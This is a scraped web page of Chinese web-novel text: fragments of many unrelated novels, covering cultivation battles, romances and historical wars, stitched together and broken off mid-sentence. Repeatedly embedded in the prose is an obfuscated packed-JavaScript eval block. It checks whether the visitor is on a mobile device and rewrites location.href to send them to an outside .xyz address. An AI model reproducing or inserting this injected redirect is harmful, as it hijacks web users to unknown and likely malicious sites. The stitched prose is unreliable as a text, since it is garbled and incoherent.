“轰隆隆!”震天的响声传遍了整座基督山脉,天空上出现了一团亮丽的光球,那正是雷龙爆炸所产生的能量放射,足以堪比原子弹般的炽热使得天空当中再也没有一片云朵。 他还是那身被淋湿的衣服,更何况身上还有伤,杨锦心咬咬唇,终是去到衣帽间里。 想想以前得种种……说实话,我心里是不想妖妖死的。可是,她做得这些事情,从大局得角度来讲,根本就没有任何理由让她活下来。 奇迹稍微调整一下炮口,那离子光束就跟着向上抬起,无论勇气往哪里逃都狼狈不堪,毕竟角度就摆在那里了。 让他没有想到的是,论起玩心眼,十个钟明亮不一定是吴熙的对手。 裴绍钧就怕邵安犯了什么法,牵扯到在坐的某位官员。于是他委婉的表示,可以私下说。 “大家一起上!我从来都没有想过能毫发无伤地挡 住这波攻击!”拉鲁终于来到了战舰的附近,一挥手就将一块甲板给轰出了个巨洞。 “喜欢就好。”叶婉莹看着自己手里的机票,从今天起她就又要恢复飞来飞去的日子了,可是曾经发生的一切,都已经根深蒂固的埋在了她的心底,再也无法忘记。 上架感言 就连城堡掉落下去的石头,掉到两股能量的交锋处时,瞬间就没了。 而听到不断汇报的己方损失,南成武和陆海洋只感觉颅内血压飙升。 就好像历史上吕蒙奇袭荆州一样,魏国把关羽打败,吕蒙直接捡便宜,谁会嫌弃到嘴的肥肉不吃呢? 所以,顺着樊蕊的意思,以后我和韩念之在公司,才会有好日子过。 他的声音近乎癫狂的兴奋,整个茧也因为他的兴奋,开始微微的颤抖。 走到门口,和凌晨梦里的几乎一模一样,头颅已经消失,就连墙壁上的血迹,都用溶血的试剂擦拭掉了,只剩下一点点泛黄的痕迹。 战法单骑救主需要五星蜀赵云、四星蜀糜夫人、四星汉刘备兑换,战法鼎足江东需要五星吴孙权、四星吴孙策、三星吴张昭兑换;战法当阳桥需要五星蜀张飞、四星汉曹操、四星汉刘备兑换。 说实在的,那双和她儿子一样纯黑的眼珠,让人看着心里总是毛毛的。 克莱尔先是故作镇定的低声说了一声“谢谢”还趁着舞台的视觉死角不自然的提了一下自己的裤子。 在过了片刻之后,一声凄厉的咆哮传来,血魔的身影再度出现了几人的眼中。 “父亲,我们必须马上采取行动,不然,一切就晚了。”见得父亲沉默不语,李继峰不由急道。 想到这里,君昊连忙一抹储物蜂巢,掏出十二面宝光四溢的旗帜来。 当然,与先前密境入口的禁制一般,“咫尺天涯”亦是早在数千年前就已失传,也正是因此,众人起先才会没有察觉,直到深陷其中才有所恍悟。 最后一个炼气四重弟子以四千灵砂为代价,成功从宗珩手里买下了精英洞府的使用权。 不管是荒族还是永恒国度,都不敢激怒杨叶,因为他们面对过血腥狠辣的杨叶。 四眼田鸡依旧挺着一张看不见感情波动的继父脸,淡淡的瞥了一眼凯申酱。 眼见夏侯霸如此英勇生猛,在他身后的曹魏军将士无不奋起,立即纷纷杀上。管虎见状,吓了一惊,就在这时,连道惨叫声响荡起来,人丛溃散处,正见如同煞神一般地夏侯霸正朝他杀了过来。 就在此时,猝然间,西北方向传来阵阵震天动地的喊杀声。原来昨夜杨炳派去求援的将士,就在不久前遇到了樊稠的大部,那将士坐下战马活活被跑死,报说完后,也昏死过去。 这些年来,白婉晴都在想着自己的母亲到底是什么样子的,她想象的等见到自己的母亲之后,会有什么反应,只不过,当她的母亲真的出现在她的面前的时候,白婉晴却表现出来极度的抗拒。 凌凡的灵魂境界原本就达到了金丹后期,他在施展血祭时,还期待他的灵魂可以再次提升一阶,达到更高一层的元婴初期。 至于他们的头颅,则都是被士兵们割了下来,用石灰处理了一番后,放进了一辆马车中,准备拉回边城县,挂在城墙上。 程燕冷眼看着,觉得韩峰一家对这门婚事是势在必得了,都被羞辱到这份上了,还不依不饶的要继续谈下去,可见这嫁妆对他们的吸引力有多大。 这也是根据幻仙科技的特殊性所决定的,毕竟某些东西不宜让太多人知道。 影视类专业的学生,包括周星星、梁见雪、赵强和其余学生,而谷灵则应该归入到音乐类专业,但现在最为尴尬的是,这两个专业都是没有老师,无法开设专业课程。 人间道后面还有修罗道在不断的放导弹,真不知道佩恩去哪儿找到的 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于氏破产,她什么都没有了,她没法再做于氏千金,没法再去当耀眼的明星;她唯一的希望就是傅世瑾,她觉得只要坚持,傅世瑾总会被她感动,闹到现在,她也弄不清楚这里执念是爱还是不甘心了;她只知道,她不能回头。 拿来一粒,拿来一粒,听听人家凌夜枫说得多么的轻松,好像这玩意很多可以随便想怎么吃就怎么吃一样。 慕至君讲究,吃饭不谈公事,但这一点,简以筠知道别人可不知道,但这会儿,她正盯着慕至君搁在桌上的手机发呆,压根儿就懒得去理其他的事。 对于杜若这样诚恳的态度,林嬷嬷很是欢喜,虽然做这些事情是她的本分,。但是理所当然的接受和心存感谢的接受那是不一样的。 “也不知夜大哥喜欢吃什么样的口味。”艾巧巧用手指挑了点馅料放在嘴里尝了尝。 第111章 你的女孩 “那你为什么不敢看我呢?” 佐伊的话激起了罗南的‘逆反心理’。 他认认真真打量起佐伊,并点评道: “今天换风格了,走‘学院风’?” 今天佐伊打扮的非常文静,深灰色百褶裙、浅蓝色衬衣,下面是经典的牛皮鞋和白色长筒袜,金色长发柔顺的披在后背上,标准的欧洲学院风。 佐伊自己把 晚上楚菲和郭泰来躺在一起的时候,躺在郭泰来的怀中,楚菲忍不住冲郭泰来问道。 定下了冠军的目标,那么从赛季的第一场比赛,第一个球开始,就要全力以赴争取胜利。 裁判响哨后,利拉德重重喘了口气,下半场他被李良折腾的够呛。 羊头蝙蝠的声音断断续续,嘶哑和尖锐的声调混合发出,让人不寒而栗。 她不在意他,根本不在意他。或许在高傲的清雅心里,从来就不曾拿他当丈夫。她是那样的美丽,而他是北凉百姓口中的“残王”,残腿之王、残忍之王。 所以,也并不是有人打扫,看起来,这些应该就是星审自己收拾的。 那天也是这样,傅霆深突然回来,将睡梦中的她扑醒,而后就是一通惩罚的吻。 一声声惨叫声回荡了在这宽敞的石屋中,这惨叫声或高亢,或尖锐,或短促,或连绵,不一而同,就像是一场高声调的交响乐一样。 他带过来的是一只方方正正的黑檀木盒子,长宽高都仅仅只有三寸左右,盒子的做工很精致,不过不是什么古董老物件。 被bgo追杀的佩罗斯佩洛,这时候正在拼命地逃跑,由于惊恐,他下意识地一边跑一边观察他和bgo之间的距离,而就在这个时候,他突然发现天空中传来一阵强烈的刺眼光芒。 禀告完退守到一边,眼神不断的暗示,辛夷替她上前去‘送死’。 风险禁止契约通常是巫师们在冒险行为之前签署的魔法契约,包括野外冒险、实验室进行高风险实验、以及交易高价值魔法材料等等情况。 他压根没有察觉到到底发生了什么,感受着磅礴的威压,不过因为自身有法宝护体,所以并没有觉得有多难受。 果然,随着这八根木桩钉在工地上,建造的工作再也没有出现过一次问题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860070|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这时,唐星走到了唐荇的身边,与他并肩而立,见夏亚面色骤变似乎想到了什么,也就不继续卖关子了。 他见过颜颢,虽然长相跟周王爷一模一样,但是气质上天差地别,能一眼分别出二人。 沙子这么的就进来了,刘超那赶紧的往后撤呀,前排没办法待了,但是还好,天窗开的不大,这沙子落到了一定的程度,就是把前排跟后排的一部分给占据了之后,就停住了,还行,给了他们俩一定的空间。 所以阿里通直接开口威胁,但是,没有想到,秦风只是简单的一个神识震动,自己的神魂神识就感觉要溃散一样。 黑虎浑身血迹斑斑,尽管如此,但是依旧阻挡不住幻风虎身上传来的阵阵凶悍之气,额头上那个醒目的王字,更是为这本就非凡的四级妖兽增添了些许霸气。 杨光明刚要庆幸这两头变异猫的目标不是自己,这时候又不由脸色一变:我去,这么大的动静,岂不是要将周围的丧尸全部吸引过来? 大地开始隆起,隆起,不断隆起,就好像是大潮一样,不断叠加,转眼就成为了山脉,并且在高速地移动着。 第112章 变态! 罗南原路返回,不多时便在博物馆门口等到佐伊。 “怎么样?”他迎上去问。 佐伊的状态比早上轻松了许多,她侧着脑袋捋了几下头发,使它们从服帖变成蓬松,自然的垂落下来。 只是换了一个发型,佐伊的气质就完全变了,连说话的语气都不一样了,轻快了许多: “做完的事情就不要再去想它,我们去 从勃日列夫那里李超凡所了解到的事情,关于苏联的超级斗士,可以说与瑞恩目前所进行的超级战士计划完全是属于两种不同的概念类型。当然,李超凡绝对不会傻到去跟瑞恩汇报这样的事情。 水对稻的爱恋,稻对水的痴恋此刻在这梦般画卷完美展现,这让人流连忘返。 而五阴煞莲却不是单单只是困住五爪金龙就罢了,而是在五阴煞莲内部从莲瓣上不时的射出五色煞雷疯狂的攻向五爪金龙。而每次攻击都会让五爪金龙身上的金光暗淡一分。一副如此持续消耗下去五爪金龙明显不敌的样子。 罗素教宗也是点了点头,这一点他自然也是看出来了。作为摩尼教教宗,自然不能太过于偏袒自己的学生。罗伊也是摩尼教的一份子,就算不是乾门的教徒。 夕阳无限好,只是近黄昏。对于大汉来说,黄昏就是事情的结束,也就是时间的终结。 “怎么搞的。我们这电坏了吗?”陈芸嘀咕了一下,刚想拿出手机打电话。在整个客厅之中,突然的所有的红烛都已经点燃起来。 “放弃—坚持”的平衡模式:他们一旦放弃了,就不会首鼠两端,他们一旦选择了,就不会随便放弃。 明明都成为闪电了,他居然没飞出去多远,刚才我们也没有留意他,现在再看,却见他所在的位置突然冒出一团漆黑的东西,好像是一张大嘴咬住了闪电老头。 远处,一个个强者出现,这些强者每一个都是背着一柄长剑。很明显,这些人全都是圣剑山的强者,个个实力强横,最差的都是五星斗宗强者。 “除非你也要离开京城。”他忽然抬起头,满眼惊恐地望着采苓。 玉泽锋只觉得全身舒爽无比,这种感觉是他从来没有体会过的,就像鱼在大海中任意遨游,每一个细胞都被灵力包裹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860071|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简直爽到了灵魂深处。 “是。”丫鬟立刻鱼贯而出,香兰也在萧亦然的示意下退了出去。 陈儒林说着,掀开被子下床穿上衣服,回眸看了一眼羞愤的贝依依。 当然,苏珊的爸爸可不是那么容易就放弃的,在他看来,刘梅的心理已经动摇了,只不过有海恩阻挠。 此时的萧亦然好像还沉浸在悲伤中,闻言只是勉强的笑笑,不再多言。 在他步步紧逼下,萧亦然额头上开始冒出细密的汗珠,动作也渐渐迟缓下来。 恐怕除了赫德岛沿岸那些扎堆儿孵蛋的企鹅觉得这里温度刚刚好之外,没有任何人愿意在这鬼地方定居。而这也是石泉从当初探索本尼特岛的时候就一直在疑惑的地方。 而全球总决赛,很多战队可能今年猛,明年就不行了,一个赛区目前才三个名额而已,竞争十分激烈,能来一次十分不容易。 艾琳娜咽了口唾沫,颤抖着举起强光手电打量着头顶被熏黑的通风口。 无奈地点头从被窝里爬出,掀开被子释放潮气,年轻人慢吞吞地开始穿戴衣物。 第113章 值钱的屁股 四四也看到了,但不好问,也没啥子可问的。一定是锦慧抓的呗,让他道歉,他说不出口,可是看着又有些难受。 一滴晶莹剔透的泪珠,缓缓的从甄希的眼眶中滑落,甄希满脸委屈的望着浅忆韵和凌夜冰。 灵力光束爆炸开来,整个大地都是猛然抖动了一下,璀璨的光点在天空扩散开来,如同一场盛大的光雨。 夏茉轻轻的叹了一口气,开始想想,老八这么做值得吗?马上又摇起头来,老八觉得值得就成了,人生想太多做什么。 系统扇形光幕呈现出来,把墨非两次抬脚的影像以全息方式投影到上面。 “真是太不像话了,皇阿玛,儿子替你去八哥家里盯着,一定让八哥好好教导包子和团子。”老十八马上十分严肃的打了一个千,跟了出去。老爷子叫都来不及,气得直拍桌子。 莫琛就坐在角落里,今天的他也穿的很低调很休闲,白色衬衫上套一件深灰色针织衫,外加一件黑色呢子大衣,没了平日里张扬的霸气,多了几分型男的优雅帅气。 “吼~”赤焰兽怒吼一声,显然是被千羽洛伤了它这个事实气得不轻。 第二天一大早,我早早的吃完早点就给陈婆婆打电话。陈婆婆显然正在吃早点,她疑惑的问我不是下午才到么? 不一会儿,老七的轿子到了门口,顶着皇子顶戴花翎,老七慢慢悠悠的下来。 然而李亚在这个时候闯了进来,并且救下了这些本该死去的卡玛泰姬法师。 床上的王子然凝望着萧凰羽渐渐远去,直到他那风姿绰约的身影完全消失在他眼前,他方才回过神来。 第二天一早,李正言和李哲伟坐着车子前往这次极限打工的地方,一路上李正言和李哲伟看着外面阿三国的街道,怎么说呢,这里大概和夏国农村的建设水平差不多,和夏国京北是不能比的。 因此,墨羽鹤对齐云观的意义重大,只有掌门才能成为墨羽鹤的主人,而历史上拥有墨羽鹤的掌门,皆成为了当世豪杰。 但托尔在最后的关头,他还是心软了,抬起锤子的准备砸死洛基的那一瞬间,他又想起了自己和弟弟儿时一起学习战斗,一起闯祸,一起在夕阳下奔跑,那是他们逝去的青春。 乔宇可是有一颗七窍玲珑心,看蒋雨菲的神色就想到了一个可能,擦头发的动作停顿了下来,放在鼻子下面嗅了一下,有一股很淡很淡的幽香,和蒋雨菲身上的香味非常接近,眼睛顿时一亮,脸上也露出了一抹坏笑。 等到所有的暗红色光芒全都进入玉玺后,原本暗红色的玉玺已经变得漆黑无比,隐隐透着令人恐惧的气息。 接着萧尘的手,跟打桩机一般,疯狂的对着张贺兰的脸锤了起来。 再加上满腔怒火,这些全部化作一身恐怖的爆发力,邓凯也随之跳了起来。 果不其然,才10来分钟,季宇彦就来敲门,担心她会不会摔倒了,需不需要她帮忙。 沈风翻身下马,在高高的马背另一面,搀扶了一把从马背上下来的主人。 在燕童右一命呜呼之时,看台上所有的人,都下意识的站了起来,眼中充满了震惊。 回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860072|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了房间,这次因为狗蛋在这,并且,也没有什麼事可以商量了,孙云就回自己的屋子了,狗蛋跟林浩则在同一个屋子里。 萧苍转身,将篮子里的豌豆荚倒进冒着青烟的油锅,“呲——”的一声油炸声滋滋响,很是刺耳,厨房里顿时就弥漫着一层油烟。 南荒北柔国中,白象烈退出灵武界,吐出的血染红了衣襟,脸色黯淡蜡黄,气息也萎靡不振。 他当机立断,从兜里掏出了一张头巾,飞速地将头包裹,随后用手撑住隔板,借力向上,朝顶板攀爬而去。 “呃…那你们还是继续欠着无华的钱吧,反正债多了不愁。”祝家大长老随即也一脸爱莫能助的道。 早已经失踪多时,前几日才突然回来了。并且,整整昏睡了三天三夜这才醒来。 “诸位妖尊,有客来访也不出来见见吗?”陈风最后将视线定格那摆放在那古老祭坛下的三口石棺上。 龙阳知道蟒蛇瞬间毙命的原因乃是来自悯生剑的特性,但依旧忍不不住一丝自豪,因为自己在伤到蟒蛇后并未退后,而是继续将其脑部贯穿。 “沐儿,你感觉怎么样?”池煌坐在床边,看着苏醒的云紫沐问道。 感受着周围那幸灾乐祸的目光,宋亮连个屁都不敢放,灰溜溜的躲到了教室的角落里。 他就从来不跟陆鸣比较,他强归他强,你们自己足够强大就行了呗!跟陆鸣比较有什么意义吗? 太平了多年的东璃,因为有先进的技术、优良的各种物种、强壮的兵马,已经一跃成为这个世界的最强之国。 第114章 聚会倒计时 罗南家的几个卫生间成了卢尔马兰的景点。 不断有人找各种理由想进去看一看。 其实类似的卫生间村民们肯定在现实里或者电视里见过,他们只是太好奇了,不理解罗南为什么要把卫生间设计出那么多不同的样子。 罗南懒的给每个人解释他的设计初衷,便一头躲进驴棚里做东西。 他选择做的第一个东西是 这个结果其实就连曹操也没有想到他,简直就是有些发懵的状态接受了这个事实。 假如答应了李天运的话,那他就是华夏历史上第一个三学位大学生了。 何佳亮点了点头,短短两分钟不到,对方就已经连追7分了,他们不由自主的产生了危机感。 待到两人离开房间之后,秦无羲身形便是落在床榻之上,而后双眸缓缓的闭上,心神沉入便是来到眉心处。 李天运转头望去,只见这胖子一身的肥肉,膀大腰圆,满脸的褶子。 明明事情发生到现在,一个时辰都还没有过去,可偏偏据下头人来报,眼下整个京城的人都知道了,他的勤政殿被天雷给轰了,便是供奉先祖的奉先殿,如今也化为了焦土。 只需拦住魂兽一击,后面的追魂箭瞬息便至。砂糖军团那边轮着番的排炮灰挡枪,秩序井然,而韩三这里只有端着大锯死扛。 至于馆长大人的路,如高天流云,虚无缥缈,知其然不知其所以然,看在韩三的眼里,那就是没有路。 李重也皱起来眉头,他也陷入了思索之中,怎么会有人跟他们的目的一样。 “又去打架,你们这些男人,真是不可理喻”唐慧一边说着,一边给李浩扎上针,但并没有离去,似乎有心事一样,坐在了李浩的病床前边。 对叶金川,周楚还是没有去和他深谈,虽然他早就想这么做,但问题在于,苏法昭这次千里迢迢的过来了,周楚再去和叶金川说话,总觉得心虚,也因此很久没有去见他,只是电话联系。 而帮助蜃楼宫最直接的办法,就是帮姜易提升实力,在一年之后,战胜白眉道尊。 原来这普修和尚的念珠是用来收集愿力之用,到了必要适合,愿力燃烧,可牵扯气运转化,命轨走向。 “你们太没义气了吧,就这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860073|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢下我们了?”凉音掐着某某的脸,恨不得将它拉扯大一个尺寸。 成诗和成韵一听,觉得周楚说的非常有道理也就都赞同了。成韵更是迭声的夸周楚心细,靠谱,还连连跟姐姐说这真是捡到宝了。 重伤了何东的识海之后,李凝再也没有管着聒噪的臭虫。遭受了李凝的重创,料他何东往后的修为都要背负李凝的阴影了。恐怕他一世想要再次进阶,也不太可能了。想要长生,那也是无望的。 黑衣人一拳头狠狠打在平二指的脸颊,紧接着抡起脚丫子踹在平二指的腹部,平二指如同皮球般,在地上滚了好几圈才停下来,可想而知他摔得得有多惨。 两人沐浴后,换上了干衣,用过晚膳后,春桃和双儿端来了两碗驱寒汤,清舞双手捧起低头喝着,一股暖流涌入喉间。她抬起眼帘,看着轩辕霆野,那道伤口被雨水淋的泛白,伤口里依旧渗着血,看得她一阵心寒。 几个馒头哪里能够解决李浩的腹中的饥饿,但是实在不忍心在去吃剩下的一个馒头,不如去外边看看,可以说李浩的性情有了很大的变化,这要是以前李浩在黑夜里边是绝对不敢出门。 第115章 实验 注1唐军不是有意识穿越的人,所以他想不到失忆这个杀手锏是合理的,毕竟他还没有意识到要隐瞒身份什么的。 尽管习惯了这个缺乏娱乐的年代早睡早起,但习惯不代表喜欢,哪怕睡得再早,让他这个时候起,他依旧觉得困顿。 明星对普通人来说太遥远、太梦幻,旁人看到的只是他们风光无限的一面。柏易虽然没有亲身经历,但也深知这一行的艰辛,他能理解周颖儿话里的辛酸。 刚开始的时候,还咬牙切齿,发誓要血洗这百花楼,将刘飞抓住以后要剥皮拆骨。 在场的年轻人不见得江湖经验多么丰富,但一个个却都是明眼人,此时自然是看的出行云与陈默二人有问题,不过除了常家兄妹与垣晴外,其余众人互相间并不是很熟悉,自也不会来劝。 “当然有意思!”越千秋放下手,再次抬起头直视北燕皇帝那如同鹰隼一般锐利的眼睛,心中竟然还有余暇和吴朝的那位至尊做比较,心想这两个皇帝的性子还真是各走极端。 不过显然,这头僵尸的速度最多就是和陈堪相当而已,所以,他注定要悲剧了。 不过仔细一想,这也很正常,帝释天嘛,一个活了千年的老怪物,七情六欲什么的早就被岁月磨得干净了,佛家所谓的“六根清净”说的就是他吧,除了有些自恋之外,所以有这样的布置也不奇怪。 赵紫薇笑笑,也不回应。她心道,你们姐妹俩真能忍,直接开口问我与你父亲谈判的结果就好了,还等什么。 剩下的事情樊一鸣也没有让陆知宋忙,他说他自己去搞定就行了。 其实本来这个位置应该是警队那边的人的,但警队上面那帮人似乎对许诺的实力有点不太信任,以此举不妥为由,不让警队的人参与。 当时鹤羽道君执行严律殿下派的任务,追踪一名违背天界律法的叛徒。但他没追到人,反而意外落入了一处神秘洞府。 罗伊一愣,回想起银河日常中的低调,没想到她做起事来,这么有效率? 现在梁振峰是真的知道,原来失忆了是会被骗的,特地交代自己的妹妹。 但这边的动静还是让不远处的任珵发觉,他甚至掐灭了烟头,想过来看看情况的打算。 杨缱也拿不准,&nbp;毕竟出门在外许多事都不好说满,因而只说了句尽量。 帝都鸟巢现在在正抓紧时间的做总决赛之前的准备了,宁为也是亲自的在现场抓各种细节,保证要到时候现场演唱的时候要万无一失的。 他还挺乐意见到陆知宋有自己的职业规划的,那也不能自己一手调教出来一个啥也不是的人。 众人下意识的朝着程元的位置那里看去,不管是对方的椅子还是对面的桌台,好像什么都没有。 秋日天气多变,一声闷雷响起,不一会儿就风沙大作,乌云铺天盖地席卷而来。 叶开看着汪诗诗慢慢的走出饭店,这才松了一口气,现在没有了后顾之忧,他就可以伸展拳脚了。 伴随着凉子拳头的挥起,鬼面蓝甲自带的能量聚集到拳头上,在还没有打到对方的时候,就已经发出巨大的冲击‘波’,以无形之力轰到了西方佛的面前。 锋芒的剑气四散而开,七星神剑上的七个星点迅速的变得璀璨起来,如同七个太阳一般散发着光芒。 高雅听了这话觉得有些不对,刚要说话,高胜狠狠的瞪了他一眼,高雅平素就怕自己这个大哥,这会不敢说话,低头不语。 纪章杰羡慕嫉妒恨地看着杭雨,心想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860074|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我有这样的才华就好了。 谢平纲愣在了原地,杭雨则跟沈妙芙说说笑笑地回到了办公大楼。 “末将岑雷,大帅麾下千夫长。”岑雷冲那老者一拱手,脖子上却是青筋暴起,全身都在剧烈颤抖着。 自然,北陆的孛儿只斤家族也不稀罕得到龙族的肯定,那个为自由和自我而战的家族虽是最强大的月卫家族,但也是最为桀骜的月卫家族。 “回家?”郑柏娜这会儿才想起来白晖这是要带他去看新家,想着这里离她上班的地方确实很近,这才几句话的工夫,竟然就已经到了。 “你们怎么会突然提到钱的事情?”白晖有些不明白,因为郑柏娜很少会提到钱的话题,觉得应该事出有因,想着这其中应该会有什么缘由。 “你去的话倒是没什么问题,不过记得别乱说话,知道吗?”林妈妈还是有些担心,毕竟自家这个儿子挺不省心的,要是搅黄了他们俩的事,那就有些得不偿失了。 因为,她算是看明白了,沈霆川就是在捉弄自己。自己还得收的,等她一会儿就跟清清去告状,让清清请沈霆川睡几天的沙发。看沈霆川以后还敢不敢捉弄自己。 陆羽命令智能系统打开货仓,让白银巨龙影和玲儿飞进来。幸好这艘的内部空间够大,才能够容纳下影的庞大身躯。 严庄一怒之下,直接用竹矛自上而下,深深插进谷梁傅身体。这根竹矛从谷梁傅后背直穿过胸膛、肚皮,然后被削尖的竹头深深插进地里。谷梁傅鲜血顺着竹子一直不停往下流淌。 “好吧,如果我的期望没有错的话,我很幸运能遇到一千个真正的后代。”陆 璇说话时,他的嘴不由自主地翘起,这也许不是件坏事。外宝门也是一个非常神秘的地方。 第116章 普罗旺斯‘偏方\’ 罗南回去尝了一下他的‘杰作’,确实很失败。 不过他没有气馁。 科学家都是通过无数次实验失败,才能取得最后那一次成功。 这些都是宝贵的经验,也是成功前的必经之路。 未来的某一天,他一定能调制出来一款最符合本地人口味的火锅蘸料! 这几天晚上有维埃里在,热 “去吧,去吧。”奶奶说着,扬起枯瘦的手臂挥了挥,好似枯树枝在风中晃了晃。 来人一袭暗红色的长裙,长裙裁剪精致,金色丝线蜿蜒缠绕,在她胸前勾勒出了美丽繁复的花纹。 “我认为我的行为不构成盗窃罪,丰田车是我家的,后来公安机关也认定了车辆属于我家合法财产,并进行了返还。 说完展开自己的玄力等级,额头赫然显出两个月牙,两个星,人玄中级一阶,证明自己有能力保护颜洳钰。 叶玉明也不想走,但是他总是担心别人的嘴好说闲话,圆圆还在上大学呢,他凡事把圆圆放在第一位,为她考虑的最多。他也想陪陪长辈方叔叔。 看她在出道夜,头戴王冠,迎接着所有人的掌声和尖叫声,走上铺满鲜花的红毯,也走向她灿烂光明的未来。 下午三点钟的样子,李浩午休起来洗了把脸,叼着烟开始提审季楚。 宽敞的大厅里,一位老头坐在高位上,下面一整排的黑衣人背手而立。 看着晋王的背影,朱瞻基笑容不变,只是右手攥紧了藏在袖子里的法宝。 “芝芝,是不是该吃饭了?”说着把眼睛瞥向逐渐失去耐心的邓龙。 一个奇异的青灰色光圈已经将机械仿生人锁定,那一层足足三个光环组合的锁定框,不断的旋转。 梅林随意拿起了其中一些黑暗系法术,本来黑暗系法术是十分稀少的,至少在暗灵域内的万象之塔内,黑暗系法术就寥寥无几,而且都不是什么强大的法术。 那种感觉就好像是他的身体里面被封印了一座马上就要喷发但是却被强行遏制的活火山。 学院内组织了一些高阶巫师去寻找黑巫师诡异死亡的秘密,可是短时间内恐怕还没有消息送回来。史蒂芬倒是觉得这件事情跟虚大师此次出行有联系,可能两者的源头都是一样,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西餐厅内倒是没聚集多少大恒球迷,毕竟是六星级,入门消费都是不低的;周易和李双楷走进时,只有三三两两的客人在喝咖啡,有几个应该还是体育记者到这里假公济私公款消费的。 送走不行,留着更是个祸端,瑞承王头疼起来,不由得望向慕氏,希望慕氏能出个主意。 周旺旺表现的就像一个勇士,没哭也没闹,直到已经处于混乱状态的母亲把他搂进怀里,这货才冲周易眨眨眼,扁扁嘴大哭起来。害得周菁菁和周母又狠狠瞪了周易几眼,就连柳絮都撅了撅嘴,很不满周易让宝宝冒险的行为。 遥想着自己的全盘计划,程栋在巴黎笑了,周易甚至听到了他的笑声。 屋内还摆着一张木质上等,雕工精致的大床,大床两侧的锦帐用铁钩高高挂起,一个蜡黄脸男子穿着紫衣,戴了顶黑色大礼帽,系着条鲜红的腰带,双手下垂,肃然立在大床后。 萧白是擅长近战的武道杀伐者,若是跟宁静远一战,不仅能将她们的力量发挥淋漓尽致,更能给予她们不少战斗经验跟感悟。 但其实谁都知道,这是因为那帮子娇生惯养的将门之后,不愿去流放之地当官……这个年代的湖南,都是未经开发的边远地区,岭南更是边境人眼里充满了瘴气和毒虫的天涯不归路。 虽然他现在只是武师五级的实力,面对的是在真武战场有着‘黑水玄蛇’之称的杜痕,但是肖辰却并不畏惧。 “谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“等船。”陆盈盈看也不看卢修,背过身去,只吐出两个简短的音来。解释完这一句,任凭高大的猎人继续追问,她都不吭声了。 好在新音社八方不禁,并不阻拦同行们看他们的明剧,所以当商雪袖去别的戏班子看戏的时候,也少有会被拒绝的时候。 而宫乐天这边,也查到一些线索。江诺不仅跟普通世界的异能者关系密切,而且暗中也跟修真界的许多人都有往来。 